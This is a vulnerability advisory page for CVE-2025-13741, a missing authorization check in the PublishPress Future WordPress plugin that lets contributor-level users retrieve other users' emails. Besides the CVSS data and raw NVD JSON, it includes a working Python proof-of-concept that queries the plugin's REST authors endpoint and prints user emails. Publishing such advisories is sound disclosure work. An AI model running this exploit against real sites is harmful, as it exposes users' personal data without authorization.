Security Vulnerability Report
中文
CVE-2025-13741 CVSS 4.3 MEDIUM

CVE-2025-13741

Published: 2025-12-16 12:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the getAuthors function in all versions up to, and including, 4.9.2. This makes it possible for authenticated attackers, with Contributor-level access and above, to retrieve emails for all users with edit_posts capability.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

PublishPress Future < 4.9.3
Post Expirator <= 4.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13741 PoC - PublishPress Future getAuthors IDOR # Target: WordPress site with PublishPress Future plugin <= 4.9.2 def exploit(target_url, auth_cookie): """ Exploit the missing capability check in getAuthors function. Requires Contributor+ level authentication. """ endpoint = f"{target_url.rstrip('/')}/wp-json/post-expirator/v1/authors" headers = { "Cookie": auth_cookie, "Content-Type": "application/json" } print(f"[*] Targeting: {endpoint}") print(f"[*] Attempting to retrieve user emails...") try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved {len(data)} user records") print("\n[+] User Emails:") for user in data: print(f" - ID: {user.get('id')}, Email: {user.get('email')}, Name: {user.get('name')}") return data elif response.status_code == 401: print("[-] Authentication failed. Check your cookie.") elif response.status_code == 403: print("[-] Access denied. Insufficient permissions.") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <auth_cookie>") print(f"Example: python {sys.argv[0]} http://victim.com 'wordpress_logged_in_xxx=yyy'") sys.exit(1) exploit(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13741", "sourceIdentifier": "[email protected]", "published": "2025-12-16T12:15:46.343", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the getAuthors function in all versions up to, and including, 4.9.2. This makes it possible for authenticated attackers, with Contributor-level access and above, to retrieve emails for all users with edit_posts capability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/post-expirator/tags/4.9.1/src/Modules/Workflows/Rest/RestApiV1.php#L376", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2f67da8c-da60-4c77-a8b8-7dfc027662e9?source=cve", "source": "[email protected]"}]}}